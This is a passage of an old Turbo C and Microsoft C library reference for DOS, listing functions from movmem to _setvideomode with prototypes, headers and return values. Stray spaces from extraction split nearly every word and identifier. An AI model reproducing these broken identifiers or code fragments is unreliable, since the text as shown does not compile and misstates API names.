shor t xcoor d; doubl e wx; - wi ndow x coor d
shor t ycoor d; doubl e wy; - wi ndow y coor d
}; };

- see ~_l i net o~( )
: movmem
^voi d movmem( voi d *sr c, voi d *dest , unsi gned l en )


- pr ot ot ype i n mem. h

- copi es l en byt es f r omsr c t o dest

: _msi ze: _bmsi ze: _f msi ze: _nmsi ze
% MSC: si ze_t _msi ze( voi d *bl ock )
% MSC: si ze_t _bmsi ze( _segment seg, voi d _based( voi d ) *bl ock )
% MSC: si ze_t _f msi ze( voi d f ar *bl ock )
% MSC: si ze_t _nmsi ze( voi d near *bl ock )


- pr ot ot ype i n mal l oc. h

Pagina 565 di 991
- r et ur ns si ze of memor y bl ock i n byt es
- _msi ze( ) maps t o ot her f unct i on dependi ng on memor y model

: _open
^TC: i nt _open( const char *pat h, i nt access )


- pr ot ot ype i n i o. h, al so i ncl ude f cnt l . h

- t hi s f unct i on wi l l not cr eat e a f i l e, use _cr eat ( ) i f i t doesn' t
cur r ent l y exi st
- access i s a combi nat i on of t he f ol l owi ng:

% DOS 2. 0+ At t r i but es
O_RDONLY open r ead onl y
O_WRONLY open wr i t e onl y
O_RDWR open r ead/ wr i t e

% DOS 3. 1+ At t r i but es
O_NOI NHERI T f i l e i s not t o be passed t o chi l d pr ocesses
O_DENYALL f i l e i s not accessi bl e t o ot her s ( excl usi ve)
O_DENYWRI TE f i l e i s r ead onl y t o al l ot her opens
O_DENYREAD f i l e i s wr i t e onl y t o al l ot her opens
O_DENYNONE f i l e i s t o be shar ed by al l

- MS C uses ~_dos_open~( )
- see ~I NT 21, 3D~ ~open~( ) ~_cr eat ~( )
: onexi t
^MSC: onexi t _t onexi t ( onexi t _t f unc )


- pr ot ot ype i n st dl i b. h

- cr eat es a l i st of f unct i ons t o execut e on nor mal pr ogr amexi t
- on exi t f unct i ons ar e execut ed LI FO
- a max of 32 f unct i on can be r egi st er ed
- r et ur ns poi nt er t o " f unc" on success; NULL ot her wi se
- t hi s i s a Mi cr osof t / Lat t i ce ext ensi on; ANSI uses ~at exi t ~( )

- see ~exi t ~( ) ~abor t ~( )
: open
^i nt open( const char *pat h, i nt access [ , unsi gned per mi s] )

- pr ot ot ype i n i o. h, al so i ncl ude st at . h & f cnt l . h

- open at t r i but e f l ags ar e def i ned i n f cnt l . h
- opens f i l e " pat h" wi t h access and opt i onal l y per mi s
- access i s a combi nat i on of t he f ol l owi ng ( " per mi s" f ol l ows) :

% Read/ Wr i t e Access Fl ags ( mut ual l y excl usi ve) :
O_RDONLY open r ead onl y
O_WRONLY open wr i t e onl y
O_RDWR open r ead/ wr i t e

% Ot her Access Mode Fl ags:
O_APPEND f i l e poi nt er i s pl aced at EOF bef or e each wr i t e
O_CREAT i f f i l e doesn' t exi st , cr eat e wi t h " per mi s" at t r i but es
O_TRUNC i f exi st s, t r uncat e l engt h t o zer o, but l eave f i l e
at t r i but es unchanged
O_BI NARY bi nar y mode
O_TEXT t ext mode
O_EXCL used wi t h O_CREAT, er r or occur s i f f i l e al r eady exi st s
O_NDELAY UNI X onl y
Pagina 566 di 991

% Per mi ssi on At t r i but es ( i f cr eat i ng) :
S_I WRI TE wr i t e per mi ssi on
S_I READ r ead per mi ssi on
S_I READ | S_I WRI TE r ead/ wr i t e per mi ssi on

- i f O_BI NARY nor O_TEXT i s gi ven, f i l e i s opened i n t r ansl at i on
mode ( O_TEXT) gi ven by gl obal var i abl e _f mode
- r et ur ns nonnegat i ve number as f i l e HANDLE, or - 1 on er r or
- see ~sopen~( )
: out p: out pw
% MSC: i nt out p( unsi gned por t , i nt dat ab )
% MSC: unsi gned out pw( unsi gned por t , unsi gned dat aw )


- pr ot ot ype i n coni o. h

- wr i t e dat a val ue t o por t speci f i ed i n por t
- por t = har dwar e I / O por t
- dat ab = byt e val ue t o wr i t e
- dat aw = wor d val ue t o wr i t e

- Tur bo C uses ~out por t b~( ) and ~out por t ~( )

: out por t
^TC: voi d out por t ( i nt por t , i nt wor d )


- pr ot ot ype i n dos. h

- out por t ( ) wr i t es wor d t o out put por t por t
- MS C uses ~out pw~( )
- see al so ~out por t b~( )
: out por t b
^TC: voi d out por t b( i nt por t , unsi gned char byt e )


- pr ot ot ype i n dos. h

- out por t b( ) i s macr o t hat wr i t es byt e t o out put por t por t
- MS C uses ~out p~( )
- see al so ~out por t ~( )
: _out t ext
^MSC: voi d f ar _out t ext ( unsi gned char f ar *t ext )


- pr ot ot ype i n gr aph. h

- wr i t es st r i ng i n " t ext ' t o t he gr aphi cs di spl ay

: par sf nm
^TC: char *par sf nm( const char *cmdl i ne, st r uct f cb *f cbpt r , i nt opt i on)


- pr ot ot ype i n dos. h

- par ses command l i ne cmdl i ne f or a f i l e name, pl aci ng i t i nt o a
FCB as dr i ve/ f i l ename/ f i l e ext , poi nt ed t o by f cbpt r
- opt i on i s same as AL i n MS- DOS f unct i on cal l ~I NT 21, 29~
- r et ur ns poi nt er t o byt e beyond end of f i l ename, 0=er r or

: peek
^TC: i nt peek( unsi gned seg, unsi gned of f )
Pagina 567 di 991


- pr ot ot ype i n dos. h

- r et ur ns wor d f ound at seg: of f

: peekb
^TC: char peekb( unsi gned seg, unsi gned of f )


- pr ot ot ype i n dos. h

- r et ur ns byt e f ound at seg: of f

: per r or
^voi d per r or ( const char *st r i ng )


- pr ot ot ype i n st di o. h

- pr i nt s er r or message t o st der r , descr i bi ng most r ecent cal l
f ound i n syst emcal l f r omcur r ent pr ogr am

: _pi e: _pi e_wxy
% MSC: shor t _pi e( shor t cont r ol , shor t x1, shor t y1, shor t x2,
% shor t y2, shor t x3, shor t y3, shor t x4, shor t y4 )

% MSC: shor t f ar _pi e_wxy( shor t ct l ,
% st r uct _wxycoor d f ar *pwxy1,
% st r uct _wxycoor d f ar *pwxy2,
% st r uct _wxycoor d f ar *pwxy3,
% st r uct _wxycoor d f ar *pwxy4 )

- pr ot ot ype i n gr aph. h

- ( x1, y1) upper l ef t r ect angl e cor ner
- ( x2, y2) l ower r i ght r ect angl e cor ner
- ( x3, y3) st ar t of vect or
- ( x4, y4) end of vect or
- ct l = _GFI LLI NTERI OR f i l l s r egi on wi t h cur r ent col or and mask
_GBORDER don' t f i l l r egi on

- r et ur ns nonzer o val ue on success; zer o ot her wi se

: poke
^TC: voi d poke( unsi gned seg, unsi gned of f , i nt val ue )


- pr ot ot ype i n dos. h

- wr i t es wor d val ue t o l ocat i on seg: of f

: pokeb
^TC: voi d pokeb( unsi gned seg, unsi gned of f , char val ue )


- pr ot ot ype i n dos. h

- wr i t es byt e val ue t o l ocat i on seg: of f

: pol y
^doubl e pol y( doubl e x, i nt n, doubl e coef f [ ] )

Pagina 568 di 991

- pr ot ot ype i n mat h. h

- gener at es pol ynomi nal i n x of degr ee n, wi t h coef f i ci ent s coef f ,
r et ur ni ng t he val ue of t hi s pol ynomi nal eval uat ed f or x

: pow
^doubl e pow( doubl e x, doubl e y )


- pr ot ot ype i n mat h. h

- r et ur ns p wher e p = x ** y or +/ - HUGE_VAL on er r or

: pow10
^doubl e pow10( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns y wher e y = 10 ** x or HUGE_VAL on over f l ow er r or

: pr i nt f
^i nt pr i nt f ( const char *f or mat [ , ar g1, ar g2, . . . ] )


- pr ot ot ype i n st di o. h

- pr i nt f f or mat t ed st r i ng


- see ~PRI NTF SPEC~ f or f or mat speci f i er s
: pr i nt f speci f i er s
^Speci f i cat i ons f or pr i nt f ( )

% %[ - ] [ +] [ space] [ #] [ wi dt h] [ . pr ec] [ si ze] t ype

% Fi el d Descr i pt i on

- l ef t j ust i f y
+ pr ef i x posi t i ve number s wi t h ' +' , over r i des bl ank
space pr ef i x posi t i ve number s wi t h space
# pr ef i x oct al or hex wi t h 0, ( see manual f or Tur bo C)
wi dt h wi dt h of out put st r i ng i n t ot al char act er s, a 0 bef or e
wi dt h causes paddi ng wi t h zer os on l ef t .
. pr ec deci mal pr eci si on i n char act er s
si ze F f ar poi nt er
N near poi nt er
h speci f i es shor t
l speci f i es l ong
L l ong doubl e
t ype c si ngl e char act er
d si gned deci mal i nt eger
e si gned exponent i al , ' e' i s out put i n st r i ng
E si gned exponent i al , ' E' i s out put i n st r i ng
f si gned f l oat i ng poi nt i n f or mof sddd. ddd
g f or mat s e or f ( depends on si ze) , e i s out put
G f or mat s e or f ( depends on si ze) , E i s out put
i si gned deci mal i nt eger
n i nt eger poi nt er
o unsi gned oct al i nt eger
p voi d poi nt er ; MS C al ways uses f ar poi nt er s, i n
Tur bo C, si ze i s dependent on memor y model
Pagina 569 di 991
s st r i ng poi nt er
u unsi gned deci mal i nt eger
x unsi gned i nt eger i n l ower case hex f or mat
X unsi gned i nt eger i n upper case hex f or mat

- i f wi dt h or pr eci si on ar e speci f i ed as an ast er i sk ' *' , an i nt
f r omt he ar gument l i st i s used as t he wi dt h or pr eci si on. I f t he
wi dt h i s t oo smal l t he f i el d i s expanded. Exampl e:

i nt l en = 5;
char *st r i ng = " Thi s i s a st r i ng"

pr i nt f ( " %*. *s" , l en, l en, " st r i ng" ) ;

i s f unct i onal l y si mi l ar t o a speci f i cat i on st r i ng of " %5. 5s"
whi ch pr i nt s a max of 5 char act er s of t he st r i ng.
: put c
^i nt put c( i nt c, FI LE *f p )


- pr ot ot ype i n st di o. h

- put s char c t o st r eamf p, r et ur ni ng c on success, el se
r et ur ns EOF on er r or

: put ch
^i nt put ch( i nt ch )


- pr ot ot ype i n coni o. h

- put s char ch t o consol e wi t h BEL, BS, TAB, LF and BEL char act er s
ar e conver t ed si mi l ar t o DOS I / O
- TC uses di r ect vi deo or BI OS dependi ng on val ue of ext er nal
var i abl e di r ect vi deo
- r et ur ns not hi ng

: put char
^i nt put char ( char c )


- pr ot ot ype i n st di o. h

- same as ~put c~( c, st dout )

: put env
^i nt put env( const char *envvar )


- pr ot ot ype i n st dl i b. h

- adds st r i ng t o envi r onment
- DOS envi r onment consi st s of st r i ngs of f or menvvar =var val ue, . . .
- r et ur ns 0 i f OK
1 on f ai l ur e

: _put i mage: _put i mage_w
% MSC: voi d _put i mage( shor t x, shor t y, char huge *i mage, shor t act i on)

% MSC: voi d f ar _put i mage_w( doubl e wx, doubl e wy,
% char huge *i mage, shor t act i on )

- pr ot ot ype i n gr aph. h
Pagina 570 di 991

- r est or es pr evi ousl y saved scr een i mage t o scr een
- ( x, y) upper l ef t cor ner of i mage
- i mage = buf f er cont ai ni ng pr evi ousl y saved i mage
- act i on = def i nes i nt er act i on bet ween cur r ent scr een buf f er and
t he dat a st or ed i n " i mage"
= _GAND AND i mage wi t h cur r ent scr een
= _GOR OR i mage wi t h cur r ent scr een
= _GPRESET over wr i t e cur r ent scr een wi t h i nver se of i mage
= _GPSET over wr i t e cur r ent scr een wi t h exact i mage
= _GXOR XOR' s i mage t o cur r ent scr een

- Tur bo C uses ~put i mage~( )
- see ~_get i mage~( ) ~_i magesi ze~( )
: put i mage
^voi d f ar put i mage( i nt l ef t , i nt t op, voi d f ar *bi t map, i nt opt i on )

- pr ot ot ype i n gr aphi cs. h

- l ef t and t op r epr esent t he upper l ef t cor ner of t he ar ea t he
bi t map dat a wi l l be pl aced

- op may be one of t he f ol l owi ng:
COPY_PUT copy dat a f r ombi t map t o scr een and er asi ng cont ent s
XOR_PUT xor dat a i n bi t map wi t h cur r ent scr een
OR_PUT or dat a i n bi t map wi t h cur r ent scr een
AND_PUT and dat a i n bi t map wi t h cur r ent scr een
NOT_PUT si mi l ar t o COPY_PUT, but i nver se of dat a

- t he ~get i mage~( ) / put i mage( ) buf f er has t he f ol l owi ng f or mat :
00 wi dt h of i mage ( WORD)
02 hei ght of i mage ( WORD)
04 act ual bi t map pi xel dat a, f or mat and si ze i s
r el at ed t o vi deo mode and di mensi ons
: put s
^i nt put s( const char *st r i ng )


- pr ot ot ype i n st di o. h

- copi es st r i ng t o st dout and appends a newl i ne

: put w
^i nt put w( i nt n, FI LE *f p )


- pr ot ot ype i n st di o. h

- put s i nt eger wor d n t o st r eamf p
- r et ur ns n or EOF on er r or . Use f er r or ( ) t o ver i f y
i f EOF i s r et ur ned, si nce - 1 i s a l egi t i mat e i nt eger .

: qsor t
% voi d qsor t ( voi d *ar r ay, si ze_t n_el em, si ze_t el em_si ze,
% i nt ( *f cmp) ( const voi d *, const voi d *) )


- pr ot ot ype i n st dl i b. h

- sor t s t he gi ven ar r ay usi ng t he ACM qui ck sor t r out i ne
- f cmp( ) i s t he same as f or ~bsear ch~( )

: r ai se
Pagina 571 di 991
^MSC: i nt r ai se( i nt si g )


- pr ot ot ype i n si gnal . h

- r ai ses si gnal t o pr ogr amwher e ' si g' i s:

SI GABRT si gnal abnor mal t er mi nat i on
SI GI LL si gnal i l l egal i nst r uct i on
SI GSEGV si gnal i l l egal st or age access
SI GFPE si gnal f l oat i ng poi nt er r or
SI GI NT si gnal Ct r l - Br eak i nt er r upt
SI GTERM si gnal pr ogr amt er mi nat i on ( i gnor ed i n MS DOS)
SI GUSR1 user si gnal
SI GUSR2 user si gnal
SI GUSR3 user si gnal

- r et ur ns 0 on success; nonzer o ot her wi se

- see ~si gnal ~( )
: r and
% i nt r and( voi d )
% voi d sr and( unsi gned seed )


- pr ot ot ype i n st dl i b. h

- r and( ) r et ur ns pseudor andomnumber s
- r e- i ni t i al i ze gener at or wi t h ~sr and~( 1) or set t o new st ar t i ng
poi nt wi t h seed set ot her t han t o 1

: r andbr d
^TC: i nt r andbr d( st r uct f cb *f cbpt r , i nt r eccnt )


- pr ot ot ype i n dos. h

- r andbr d( ) r eads r eccnt number of r ecor ds usi ng t he open FCB vi a
f cbpt r , as i ndi cat ed by t he di sk r ecor d f i el d of t he FCB ( vi a
~I NT 21, 27~)
- r et ur ns:
0 al l r ecor ds r ead( wr i t t en)
1 EOF r eached & l ast r ecor d r ead i s compl et e
2 r eadi ng r ecor ds woul d have wr apped ar ound addr ess 0xf f f f
3 EOF r eached & l ast r ecor d i s i ncompl et e
- see ~r andbr w~( )
: r andbr w
^TC: i nt r andbr w( st r uct f cb *f cbpt r , i nt r eccnt )


- pr ot ot ype i n dos. h

- r andbr w( ) r et ur ns 1 i f t her e i s not enough di sk space t o wr i t e
t he r ecor ds ( no r ecor ds ar e wr i t t en)
- see ~r andbr d~( )
: _r ead
^TC: i nt _r ead( i nt handl e, voi d *buf , i nt si ze )


- pr ot ot ype i n i o. h

- r eads " si ze" byt es f r omf i l e " handl e" i nt o " buf "
- si ze must be l ess t han 65534 byt es
Pagina 572 di 991
- i s a di r ect cal l t o MS- DOS r ead f unct i on ~I NT 21, 3F~
- does not t r ansl at e CR/ LF; al l i nput i n bi nar y
- r et ur ns number of byt es successf ul l y t r ansf er r ed or - 1
- MS C uses ~_dos_r ead~( )

- see ~r ead~( ) ~_open~( ) ~_cr eat ~( ) ~_wr i t e~( ) ~_cl ose~( )
: r ead
^i nt r ead( i nt handl e, char *buf , i nt si ze )


- pr ot ot ype i n i o. h

- r eads " si ze" byt es f r omf i l e " handl e" i nt o " buf "
- r emoves CR' s & r epor t s EOF on a Ct r l - Z f or t ext mode f i l e
- r et ur ns number of byt es r ead, 0 on EOF, or - 1 on er r or

: r eal l oc
^voi d *r eal l oc( voi d *pseg, unsi gned si ze )


- pr ot ot ype i n st dl i b. h & al l oc. h ( mal l oc. h f or MS C)

- see ~mal l oc~( )
: _r ect angl e: _r ect angl e_w: _r ect angl e_wxy
% MSC: shor t _r ect angl e( shor t ct l , shor t x1, shor t y1,
% shor t x2, shor t y2 )

% MSC: shor t f ar _r ect angl e_w( shor t cont r ol , doubl e wx1,
% doubl e wy1, doubl e wx2, doubl e wy2 )

% MSC: shor t f ar _r ect angl e_wxy( shor t cont r ol ,
% st r uct _wxycoor d f ar *pwxy1, st r uct _wxycoor d f ar *pwxy2 )


- pr ot ot ype i n gr aph. h

- ( x1, y1) upper l ef t cor ner of r ect angl e
- ( x2, y2) l ower r i ght cor ner of r ect angl e
- ct l = _GFI LLI NTERI OR f i l l r ect . wi t h cur r ent col or and mask
= _GBORDER don' t f i l l r ect angl e

- r et ur ns nonzer o on success; zer o ot her wi se

: _r emapal l pal et t e: _r emappal et t e
% MSC: shor t f ar _r emapal l pal et t e( l ong f ar *col or s )
% MSC: l ong f ar _r emappal et t e( shor t pi xnum, l ong col or )

- pr ot ot ype i n gr aph. h

- col or s = col or number ar r ay cont ai ni ng one col or per vi deo
mode col or
- pi xnum= pi xel t o change
- col or = new col or number

% Val i d col or s ar e:

_BLACK _BLUE _BRI GHTWHI TE _BROWN
_CYAN _GRAY _GREEN _LI GHTBLUE
_LI GHTCYAN _LI GHTGREEN _LI GHTMAGENTA _LI GHTRED
_YELLOW _MAGENTA _RED _WHI TE

- _r emapal l pal et t e( ) r emaps al l pi xel val ues; _r emappal et t e( )
af f ect s on t he pi xel speci f i ed by pi xnum
Pagina 573 di 991
- _r emapal l pal et t e( ) r et ur ns - 1 on success; zer o ot her wi se
- _r emappal et t e( ) pr evi ous col or val ue of " pi xnum" on success; - 1
ot her wi se

: r emove
^i nt r emove( char *f i l ename )


- pr ot ot ype i n st di o. h

- i mpl ement ed as a macr o of f unct i on ~unl i nk~( )
- at t empt s t o del et e an open f i l e may damage t he f i l e syst em

: r ename
^i nt r ename( const char *ol df , const char *newf )


- pr ot ot ype i n st di o. h

- r ename f i l e f r omol df t o newf
- at t empt s t o r ename an open f i l e may damage t he f i l e syst em
- r et ur ns 0 i f OK, el se - 1 on er r or

: r ewi nd
^voi d r ewi nd( FI LE *f p )


- pr ot ot ype i n st di o. h

- equi val ent t o ~f seek~( f p, 0L, SEEK_SET) , except EOF and
er r or i ndi cat or s ar e cl ear ed
- r et ur ns 0 i f poi nt er moved OK, el se nonzer o

: r mdi r
^i nt r mdi r ( const char *pat h )


- pr ot ot ype i n di r . h

- t akes pat h & del et es di r ect or y wi t h t hat name
- r et ur ns 0 i f successf ul , el se - 1

: r mt mp
^MSC: i nt r mt mp( voi d )


- pr ot ot ype i n st di o. h

- cl eans up al l t empor ar y f i l es i n t he cur r ent di r ect or y cr eat ed
by ~t mpf i l e~( )
- shoul d onl y be used on f i l es i n t he cur r ent di r ect or y
- r et ur ns number of t empor ar y f i l es cl osed and del et ed

: _r ot l : _r ot r
^MSC: unsi gned _r ot l ( unsi gned val ue, i nt shi f t )
^MSC: unsi gned _r ot r ( unsi gned val ue, i nt shi f t )


- pr ot ot ype i n st dl i b. h

- r ot at es val ue by ' n' bi t s l ef t or r i ght
- r et ur ns r ot at ed val ue

Pagina 574 di 991
- see ~_l r ot l ~( ) ~_l r ot r ~( )
: sbr k
^voi d *sbr k( i nt i ncr )


- pr ot ot ype i n al l oc. h ( mal l oc. h f or MS C)

- dynami cal l y changes t he amount of space al l ocat ed t o t he cal l i ng
pr ogr ams dat a segment . Amount of al l ocat ed space i s i ncr eased by
amount i ncr ( can be negat i ve) .

- r et ur ns 0 i f OK
- 1 & er r no i s set t o ENOMEM

: scanf
^i nt scanf ( const char *f or mat , ar g1, ar g2, . . . )


- pr ot ot ype i n st di o. h

- accept s i nput f r omst di n and conver t s t o f or mat specs


- see ~SCANF SPEC~
: scanf speci f i er s
^Speci f i cat i ons f or scanf ( )

% %[ *] [ wi dt h] [ si ze] t ype

% Fi el d Descr i pt i on

* r ead next f i el d but suppr ess assi gnment
wi dt h maxi mumnumber of char act er s t o r ead
si ze F f ar poi nt er
N near poi nt er
h speci f i es shor t
l speci f i es l ong
t ype % pr i nt s %char act er
c char act er dat a
d si gned deci mal i nt eger
D si gned l ong i nt
e, E si gned exponent i al
f si gned f l oat i ng poi nt i n f or mof sddd. ddd
g, G used f or e and f f or mat s
i si gned deci mal , oct al or hex i nt eger
I si gned deci mal , oct al , or hex l ong i nt eger
n i nt eger poi nt er
o unsi gned oct al i nt eger
O unsi gned oct al l ong i nt eger
p voi d poi nt er ; MS C al ways uses f ar poi nt er s, i n
Tur bo C, si ze i s dependent on memor y model
s st r i ng poi nt er
u unsi gned deci mal i nt eger
U unsi gned deci mal l ong i nt eger
x unsi gned hexadeci mal i nt eger
X unsi gned hexadeci mal l ong i nt eger

- The unpr edi ct abi l i t y of ~scanf ~( ) i n t he DOS envi r onment pr ecl udes
i t ' s use i n a user f r i endl y user i nt er f ace.

: _sear chenv
^MSC: voi d _sear chenv( char *f name, char *var , char *pat h )

Pagina 575 di 991

- pr ot ot ype i n st dl i b. h

- sear ches f or " f name" i n envi r onment var i abl e " var "
- f name = name of f i l e t o sear ch f or
- var = envi r onment var i abl e t o use f or sear ch
- pat h = r ecei ves pat h i f f i l e f ound
- at t empt s t o l ocat e f i l ename usi ng MS- DOS f i l e sear ch st r at egy

- Tur bo C uses ~sear chpat h~( )

: sear chpat h
^TC: char *sear chpat h( const char *f i l ename )


- pr ot ot ype i n di r . h

- f i l ename = name of f i l e t o sear ch f or
- at t empt s t o l ocat e f i l ename usi ng MS- DOS pat h usi ng st andar d
DOS f i l e sear ch st r at egy
- r et ur ns poi nt er t o f ul l pat hname f or f i l ename ( i n a st at i c
ar r ay) or NULL i f not f ound
- MS C uses ~_sear chenv~( )

: segr ead
^voi d segr ead( st r uct SREGS *segr egs )


- pr ot ot ype i n dos. h

- pl aces cur r ent val ues of segment r egi st er s ( SEGREGS) i nt o segt bl
- avai l abl e i n Tur bo C and MS C
- uni que t o DOS
- see ~REGS~
: _sel ect pal et t e
^MSC: shor t f ar _sel ect pal et t e( shor t pal et t e )


- pr ot ot ype i n gr aph. h

- pal et t e = pal et t e number
- wor ks onl y i n MRES4COLOR and MRESNOCOLOR vi deo modes
- r et ur ns val ue of pr evi ous pal et t e

: _set act i vepage
^MSC: shor t f ar _set act i vepage( shor t page )


- pr ot ot ype i n gr aph. h

- page = memor y page wher e gr aphi cs out put wi l l be wr i t t en
- i f successf ul r et ur ns page number of f or mer act i ve page or
negat i ve val ue on f ai l ur e
- swappi ng vi deo pages i s a good met hod of handl i ng ani mat i on

: _set bkcol or
^MSC: l ong f ar _set bkcol or ( l ong col or )


- pr ot ot ype i n gr aph. h

- col or = new col or f or backgr ound
- r et ur ns pr evi ous backgr ound col or
Pagina 576 di 991

: set bl ock
^TC: i nt set bl ock( unsi gned seg, unsi gned newsi ze )


- pr ot ot ype i n dos. h

- modi f i es si ze of pr evi ousl y al l ocat ed DOS memor y segment
- MSC uses ~_dos_set bl ock~( )
- see ~I NT 21, 4A~
: set buf
^voi d set buf ( FI LE *st r eam, char *buf )


- pr ot ot ype i n st di o. h

- causes " buf " t o be used f or I / O buf f er i ng i nst ead of t he
aut omat i cal l y al l ocat ed buf f er , and ar e used af t er gi ven
st r eami s opened
- i f " buf " i s NULL, I / O i s unbuf f er ed
- no I / O t o t he f i l e shoul d occur af t er openi ng f i l e unt i l
buf f er i ng i s set

- see ~set vbuf ~( )
: set cbr k
^TC: i nt set cbr k( i nt val ue )


- pr ot ot ype i n dos. h

- set s cont r ol - br eak set t i ng ( val ue = 0 set s Ct r l - C checki ng of f
except f or dur i ng consol e and pr i nt er I / O; val ue = 1 al ways
check dur i ng DOS cal l s)

: _set cl i pr gn
^MSC: voi d f ar _set cl i pr gn( shor t x1, shor t y1, shor t x2, shor t y2 )


- pr ot ot ype i n gr aph. h

- al l gr aphi cs out put t o t he scr een i s l i mi t ed t o t he speci f i ed
r egi on; out put t o ar eas ot her t han t hi s ar ea i s cl i pped
- ( x1, y1) upper l ef t cor ner of cl i ppi ng r egi on
- ( x1, y1) l ower r i ght cor ner of cl i ppi ng r egi on

: _set col or
^MSC: shor t f ar _set col or ( shor t col or )


- pr ot ot ype i n gr aph. h

- col or = new col or val ue
- r et ur ns pr evi ous col or i ndex or - 1 on er r or
- al l subsequent gr aphi cs cal l s wi l l use t he speci f i ed col or

: set dat e
^TC: voi d set dat e( st r uct dat e *dat ebl k )


- pr ot ot ype i n dos. h

- set s DOS dat e vi a ~I NT 21, 2B~
- DOS 3. 3+ al so set s CMOS cl ock
Pagina 577 di 991

- MS C uses ~_dos_set dat e~( )
: set di sk
^TC: i nt set di sk( i nt dr i ve )


- pr ot ot ype i n di r . h

- set cur r ent dr i ve t o set as def aul t ; 0 = A: , 1 = B: , . . .
- r et ur ns t ot al number of dr i ves avai l abl e

- MS C uses ~_dos_set dr i ve~( )
- see ~I NT 21, E~
: set dt a
^TC: voi d set dt a( char f ar *dt a )


- pr ot ot ype i n dos. h

- changes cur r ent set t i ng of t he ~DTA~ as gi ven by DTA
- no cor r espondi ng f unct i on i n MS C

: _set f i l l mask
^MSC: voi d f ar _set f i l l mask( unsi gned char f ar *mask )


- pr ot ot ype i n gr aph. h

- mask = 8 by 8 bi t f i l l mask ar r ay
- set s t he f i l l mask used t o f i l l scr een r egi ons
- any bi t set t o 1 wi l l have t he def aul t col or ; any bi t cl ear ed
t o zer o l eaves t he pi xel unchanged
- when no f i l l mask i s set ( NULL) , t he def aul t col or onl y i s used

: _set f ont
^MSC: shor t f ar _set f ont ( unsi gned char f ar *opt i ons )


- pr ot ot ype i n gr aph. h

- r et ur ns f ont wi t h mat chi ng " opt i ons"
r et ur ns negat i ve val ue on er r or
- 1 Font not r egi st er ed
- 4 not enough memor y f or f ont
: set f t i me
^TC: i nt set f t i me( i nt handl e, st r uct f t i me *f t i mep )


- pr ot ot ype i n dos. h

- set s f i l e t i me and dat e f or t he f i l e associ at ed wi t h handl e as
def i ned by f t i mep
- st r uct ur e f t i me i s def i ned i n dos. h
- MS C uses ~_dos_set f t i me~( )
- see ~I NT 21, 57~
: set j mp
^i nt set j mp( j mp_buf env )


- pr ot ot ype i n set j mp. h

- capt ur es cal l er s t ask st at e i n env and r et ur ns 0
- see ~l ongj mp~( )
Pagina 578 di 991
: _set l i nest yl e
^MSC: voi d f ar _set l i nest yl e( unsi gned shor t mask )


- pr ot ot ype i n gr aph. h

- each 1 bi t r epr esent s a pi xel ( i n cur r ent col or ) i n t he l i ne
mask; each 0 r epr esent a pi xel t hat i s l ef t al one
- def aul t l i ne st yl e i s FFFFh

- see ~_get l i nest yl e~( )
: _set l ogor g: _set vi ewor g
^st r uct xycoor d f ar _set l ogor g( shor t x, shor t y )


- pr ot ot ype i n gr aph. h

- moves t he l ogi cal or i gi n ( 0, 0) t o t he physi cal poi nt ( x, y)
- r et ur ns pr evi ous l ogi cal or i gi n i n physi cal coor di nat es t o:

st r uct xycoor d
{
shor t xcoor d;
shor t ycoor d;
};

: set mem
^voi d set mem( voi d *addr , i nt l en, char val ue )


- pr ot ot ype i n mem. h

- set s l en byt es i n addr t o val ue

: set mode
^i nt set mode( i nt handl e, i nt mode )


- pr ot ot ype i n i o. h

- set s mode of f i l e associ at ed wi t h handl e t o bi nar y ( O_BI NARY) or
t ext ( O_TEXT) but not bot h
- r et ur ns 0 i f successf ul , el se - 1 on er r or

: _set pi xel : _set pi xel _w
% MSC: shor t f ar _set pi xel ( shor t x, shor t y )
% MSC: shor t f ar _set pi xel _w( doubl e wx, doubl e wy )


- pr ot ot ype i n gr aph. h

- r et ur ns pr evi ous val ue of pi xel or - 1 on er r or

- Tur bo C uses ~set pi xel ~( )
- see ~_get pi xel ~( )
: _set t ext col or
^MSC: shor t f ar _set t ext col or ( shor t col or )


- pr ot ot ype i n gr aph. h

- set s col or of gr aphi cs t ext t o col or
- def aul t col or i s t he hi ghest val i d col or
Pagina 579 di 991
- r et ur ns pr evi ous col or

- see ~_get t ext col or ~( )
: _set t ext posi t i on
% MSC: st r uct r ccoor d f ar _set t ext posi t i on( shor t r ow, shor t col umn )


- pr ot ot ype i n gr aph. h

- set s t he cur r ent t ext posi t i on t o t hat speci f i ed
- r et ur ns pr evi ous t ext posi t i on i n r ccoor d st r uct ur e

- see ~_get t ext posi t i on~( )
: _set t ext wi ndow
^MSC: voi d f ar _set t ext wi ndow( shor t r 1, shor t c1, shor t r 2, shor t c2)


- pr ot ot ype i n gr aph. h

- set s gr aphi cs t ext out put wi ndow; t ext scr ol l s i n wi ndow when
t he wi ndow becomes f ul l
- ( r 1, c1) upper l ef t cor ner of wi ndow
- ( r 2, c2) l ower r i ght cor ner of wi ndow


: set t i me
^TC: voi d set t i me( st r uct t i me *t i mep )


- pr ot ot ype i n dos. h

- set s MS- DOS t i me vi a I NT 21, 2D
- DOS 3. 3+ al so set s CMOS cl ock

- MS C uses ~_dos_set t i me~( )
- see ~I NT 21, 2D~
: set vbuf
^i nt set vbuf ( FI LE *st r eam, char *buf , i nt t ype, si ze_t si ze )


- pr ot ot ype i n st di o. h

- causes buf t o be used f or I / O buf f er i ng i nst ead of t he aut o-
mat i cal l y al l ocat ed buf f er ; used af t er gi ven st r eami s opened
and bef or e out put
- i n set vbuf , i f buf i s NULL, a buf f er i s al l ocat ed vi a mal l oc( )
- no I / O t o t he f i l e shoul d occur unt i l af t er buf f er i ng i s set

- see ~set buf ~( )
: set vect
^TC: voi d set vect ( i nt i nt r _num, voi d i nt er r upt ( *i sr ) ( ) )


- pr ot ot ype i n dos. h

- set s t he val ue of i nt er r upt vect or named by i nt r _num
( cor r esponds t o 0- 255 f or MS- DOS) i n DOS i nt er r upt vect or
t abl e t o a f ar poi nt er t o " i sr " an i nt er r upt ser vi ce r out i ne
- addr ess of a C r out i ne may be used onl y i f i t has been
decl ar ed t o be an i nt er r upt r out i ne. Ex:

^voi d i nt er r upt f unc( voi d ) ;

Pagina 580 di 991
- MS C uses ~_dos_set vect ~( )
- see ~I NT 21, 25~
: set ver i f y
^TC: i nt set ver i f y( i nt val ue )


- pr ot ot ype i n dos. h

- set s st at e of ver i f y f l ag ( 0==of f , 1==on) t o val ue
- no cor r espondi ng MS C f unct i on
- see ~I NT 21, 2E~
: _set vi deomode
^MSC: shor t f ar _set vi deomode( shor t mode )

- pr ot ot ype i n gr aph. h

- set s vi deo mode speci f i ed
